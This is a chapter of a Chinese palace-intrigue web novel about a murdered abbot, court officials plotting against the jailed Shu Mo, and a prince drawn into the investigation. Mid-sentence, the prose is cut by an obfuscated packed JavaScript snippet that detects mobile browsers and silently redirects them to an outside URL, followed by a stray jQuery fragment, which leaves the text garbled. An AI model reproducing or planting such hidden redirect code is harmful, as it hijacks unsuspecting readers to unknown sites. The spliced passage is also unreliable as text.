宁昭似笑非笑作沉思状，并未直接应话儿，极短暂一刹望向曾羡仪意味不明。


    曾羡仪似是领悟什么，接话道：“陛下，臣听闻近段时间自入秋来，城中百姓接连不断染上风寒，而素日里接待达官显贵的灵铭寺，居然敞开寺门接待穷苦百姓，还制作驱邪辟灾的平安符给予他们。百姓们如获至宝，无一不歌颂归尘大师善举。如今归尘住持离奇身故，实是一件憾事。”


    宁昭一同附和惋惜：“是啊，归尘大师这般硕望宿德的高僧，都有人敢残害，恐怕京中百姓此时皆处在惶恐中。陛下德被苍生，刚下令修葺宗庙，以彰孝思，归尘高僧便被谋害......无论这舒家小姐是不是真凶，恐怕都要尽快查清真相，还京都民心之安乐......”


    前次莱州涝灾暴乱，便是襄国人有意撺掇扰乱民心。这才短短一月有余，京都又死了个声名远扬的高僧......康平帝身为天子最是注重名声，若被人诟病他德不配位，这是他万万所不能接受的。


    康平帝眼睛渐眯成月牙，龙袍加身起了威慑范儿：“嗯......此事事关京都百姓安定与皇室威严，此案寡人便交予曾卿你协助大理寺一同审理，务必要尽快查出凶手。”


    曾羡仪奉常一职位品阶崇隆，然说到底无多少实权。对于他这一身嘉谋善政的才略以及难得的刚直品行，着实屈才。


    康平帝睿智深察，有意栽培他将来好承继其父御史大夫一职，此番命他协助大理寺，一是事关皇室宗庙合情合理，二是借机磨砺其能力，试探他是否堪当大任。


    他俯身行礼，脑袋深埋朱色官服阔袖之中：“臣遵旨。”


    交代妥当，康平帝不再讲话，自顾自令宫人斟满佳酿。按理此时曾羡仪该有眼力见退下，他却暗瞟一眼宁昭，顿顿道：“陛下，臣听闻肃王明辨是非，审讯犯人更是片言折狱，传闻在肃王手里，就没有不说实话的犯人。”


    他再次抬起朱色阔袖：“臣斗胆恳请陛下，可否让肃王参与大理寺审案，毕竟事关皇室与百姓福泽，若得肃王听断如神之力相助，定能早日平息风波，让百姓们安心落意。”


    康平帝点点头，认同此法：“如此倒是个不错的提议。只是......”他转向滑石般静静端坐而灰白的宁昭，蹙眉道：“肃王这身子，寡人实在不忍心他操劳了。”


    宁昭正愁暗处调查曾大夫备受掣肘，曾羡仪此番倒给他个正当查案的机会。他向来笑中藏伪，唯面对康平帝时，露出孩子笑宽慰：“皇兄，臣弟只是一点小病，无妨。此事重大，能为皇兄效劳略尽绵力，是臣弟本分。”


    康平帝短吁一口气，他是相信宁昭破案能力的，况且事关皇家，终需有个皇室宗亲参与代表天子立场。他面色重归和缓：“好，寡人会让太医每日按时去你府上请脉，寡人还有不少珍奇草药一并派人都给你拿去。有你在，寡人放心。”


    “多谢皇兄。”


    月照宫墙霜露起，侍从给宁昭披了件暗紫羽缎斗篷，来至宫门口，等车夫驾来马车回府。


    “肃王殿下请留步！”


    宁昭踏上脚凳，闻听有人唤他寻声找去，暗处快步走来一个黑影。途径宫灯下微星烛光划过衣裳映射出墨赤交映的亮彩，待他走近些原是曾羡仪。


    “肃王殿下，下官的马车坏了，不知可否劳肃王殿下捎臣一段。”


    曾羡仪先于他半个时辰出宫，马车若真坏了，遣个小厮回府也该早拉一辆新马车来了。夜幕已深看不真切，宁昭顺着他身后方向望去，不远处隐约确有一辆马车。至于是不是真坏了......貌似不重要。他摊掌示意曾羡仪：“请。”


    二人一前一后进入车厢，随车轮徐徐转动，离开皇宫。


    渐离宫阙，车轮碾过青石长街。车内二人相对而坐默然无话，身体伴车身颠簸偶有轻晃。


    宁昭闭目危坐，呼吸匀平似睡非睡。曾羡仪则几度目落于他，欲从他沉静如渊的眉宇间寻到端倪，却瞧不出什么。


    半晌，他终于忍不住率先开口：“殿下可是一早便得知灵铭寺之事，想必昨夜那张纸条，也是殿下派人传信的。”


    宁昭没有睁眼，脑袋递在车厢上晃了两下：“本王不知曾大人在说什么。”


    “那适才为何王爷在殿上听到此事后，并未流露出惊讶神色，也不曾询问臣案件情况？”


    “本王为何要好奇？倒是曾兄，莫不是因为这舒家小姐是故交，就生了恻隐之心？”


    他缓缓睁开眼睛盯着曾羡仪，眸底寒潭仿佛能将人割碎。曾羡仪丝毫不惧，就这么与他四目相对：“殿下何故与下官打哑谜呢？陛下命下官寻找高僧，便有人指引下官去了灵铭寺，紧接着发现归尘主持尸体，舒二小姐又被当作凶手缉拿。环环相扣，未免太过巧合。”


    宁昭没有作声只是勾勾嘴角，算是默认。曾羡仪眸光下沉顿了顿：“只不过......下官斗胆问殿下，舒二小姐入狱一事，可于殿下有关？”


    他紧紧盯着宁昭，有种问不到答案不死心的执拗。那般倔态，令宁昭恍然幻视舒茉，心头一紧，也不知这姑娘在牢里是否安好。


    “并非本王做得。”宁昭回望曾羡仪，慵懒活动下脖颈儿：“不过本王也好奇，曾兄何故求陛下，恩准本王参与此案？”


    他与宁昭私下见过数面，此人城府深沉，手段雷霆，然行事皆有章法，麾下十万北燕铁骑忠心凛凛无一不服。这样的人即便与之相处要多留心思，本质并不坏。此案是他为自己引线，定是知晓内情。有宁昭协助查案，相较孤身索隐，容易太多。


    曾羡仪张了张嘴没应声，他实在不会讲那些冠冕堂皇的漂亮话。他沉沉肩膀，恭敬行礼直抒道：“下官不善曲意逢迎的恭维之词，只觉殿下刚正如松柏，素怀仰慕。此案若殿下言不知情，下官断然不信。还望殿下助下官与大理寺共查真相，以彰天理，以安民心。”


    宁昭双手环臂，倚着车轩淡淡凝视曾羡仪低垂下去的乌顶。下巴微扬是上位者对下位者的审视，亦是属于皇家贵胄独有的傲气。


    宁昭官场沉浮数载，人情练达，眼前少年恳切肺腑倾吐倒颇合他心意。只是心道以曾羡仪直节凌云的性子，恐日后会得罪不少人而不自知。


    倦意四起，街上各家各户逐渐闭门，灯火接连熄灭，将京都笼罩一片夜幕下。


    大理寺少卿徐为瀚卧房内，两盏热茶正置于案桌上。


    取下茶盖，茶雾升起，香气顿时在房中弥漫开来。曹大夫端起茶杯轻嗅，笑赞道：“徐兄这茶不错啊～貌似是上次我差人给你送来的那盏恩施玉露。”


    徐少卿扬眉陪着笑脸：“不愧是曹兄，论鉴赏香茗，品香审韵，这京中若是曹兄敢称第二，就没人敢称第一。”


    “害，想当年咱们一起读书科考，就数你通才硕学。我也只得在这些风花雪月上找找乐趣了，哈哈哈～”


    曹大夫与徐少卿年少读书时便有交情，这些年二人做官发达后，私下往来更为密切。曹大夫多少欺男霸女的恶事都是由徐少卿替他背地摆平。此次针对侯府


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16963501|193347||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    与舒茉，正是他二人计谋。


    徐少卿轻抿口茶，随即浮上愁色，素日曹大夫充其量惹得就是些平头百姓，尚好对付，这次毕竟动得是侯府家眷，他不免顾虑：“侯府二小姐现下已被我抓进大牢。只是曹兄，你与这建德侯平日素无冤仇，为何要将他女儿抓来？万一陛下知道了......”


    曹大夫冷哼一声，圆滚的肚子再次充了气：“哼，还不是他自己寻上门来。别人不惹我我自不招惹别人，若是惹了我，非要断他几根肋骨！”


    他朝身后钱管事使了个眼色，放至桌案上一个精致锦盒。曹大夫将锦盒轻推徐少卿面前：“徐兄放心，这件事我有分寸。即便他舒明谦是侯爷，证据确凿，陛下知道也断不会徇私。”


    听曹大夫胸有成竹，徐少卿不觉眉头舒展几分。他缓缓打开锦盒，瞬间彻底展颜，里面是一只略大于巴掌的亮釉珊瑚红瓷瓶。


    曹大夫除却朝中为官，在京都也开了不少门面。其中一家名为山海阁的古玩店更是搜罗天下无尽至宝，这些年没少往徐少卿这送。


    徐少卿眼睛都直了，又怕自己失态强压窃喜，装出一副道貌岸然的样子谦虚道：“这，曹兄真是太见外了，咱们这么多年交情，你有难我自不会推脱。”他手倒是很诚实，盖上锦盒放至身侧：“让曹兄破费了。”


    两人笑意间默契不言而喻，互相招呼对方继续品茶。


    大理寺最里间一处牢内，舒茉瑟缩在角落，垂头抱膝。


    这里环境实在恶劣，阴暗潮湿，空气中弥漫着各种腐臭气味。已是深秋，天气寒凉，连一件被衾都没有。所幸身上有母亲给的披风，勉强抵御几分寒气。


    听着隔壁偶尔传来男人喊冤痛吟，以及外面刑房犯人受刑的惨叫声。她吓得闭上眼睛，不敢发出动静。


    “吃饭了。”


    差役没好气提着食盒来至舒茉牢房前，将一碗只带有几片菜叶的白米饭，放在地上。舒茉确有些饿了，她壮着胆子小心翼翼走过去，捧着饭细细端详着。


    菜叶子黄不拉几，已然不新鲜，凑近一闻，还有股淡淡酸味，估摸是坏了。她无奈叹声气，将菜叶扒拉开，夹起一筷子米饭送入口中。瞬间她眉心一拧，一脸嫌弃吐了出来。


    “这饭怎么是馊的！”


    见差役还未走远，舒茉起身握紧铁栅栏，将眼神从牢门缝隙眺出去：“官差大哥，这饭怎是馊的呀？我只是被传来问话，为何要将我关起来？”


    差役停下脚步，稍侧过点身子，烛光把他照得成阴阳脸。瞧着舒茉单纯模样，他不屑轻嘲：“不是我说，这大理寺什么地方？只要被带进来，就不可能有机会出去。有的吃就不错了，还挑上了！”


    差役切了一声离开牢房。舒茉听他这么说，心头涌起一股绝望。她无助蹲在地上，思念起家人。


    大牢内忽然静得出奇。远处门口似有钥匙碰撞窸窣，随后响起一阵由远到近的急促脚步声。声音停在舒茉身前，她好奇抬头望去，是白日带她回来的差役孔思文。他身后还站着个高挑男子，只是身披斗篷戴帽，她看不清脸。


    孔思文掏出钥匙开着牢门低声道：“劳烦公子您稍微快一些，现下兄弟们正在吃饭，我尽量拖着。”


    舒茉谨慎挪动小步来至牢门前，心跳突突连同呼吸不自觉加快了些。不知是敌是友，心想他难道是幕后真凶，买通官差来杀自己的？舒茉始终与斗篷男子保持一定距离，男子进入牢房，待孔思文走后，摘下了帽子。


    “景云！你怎么来了！”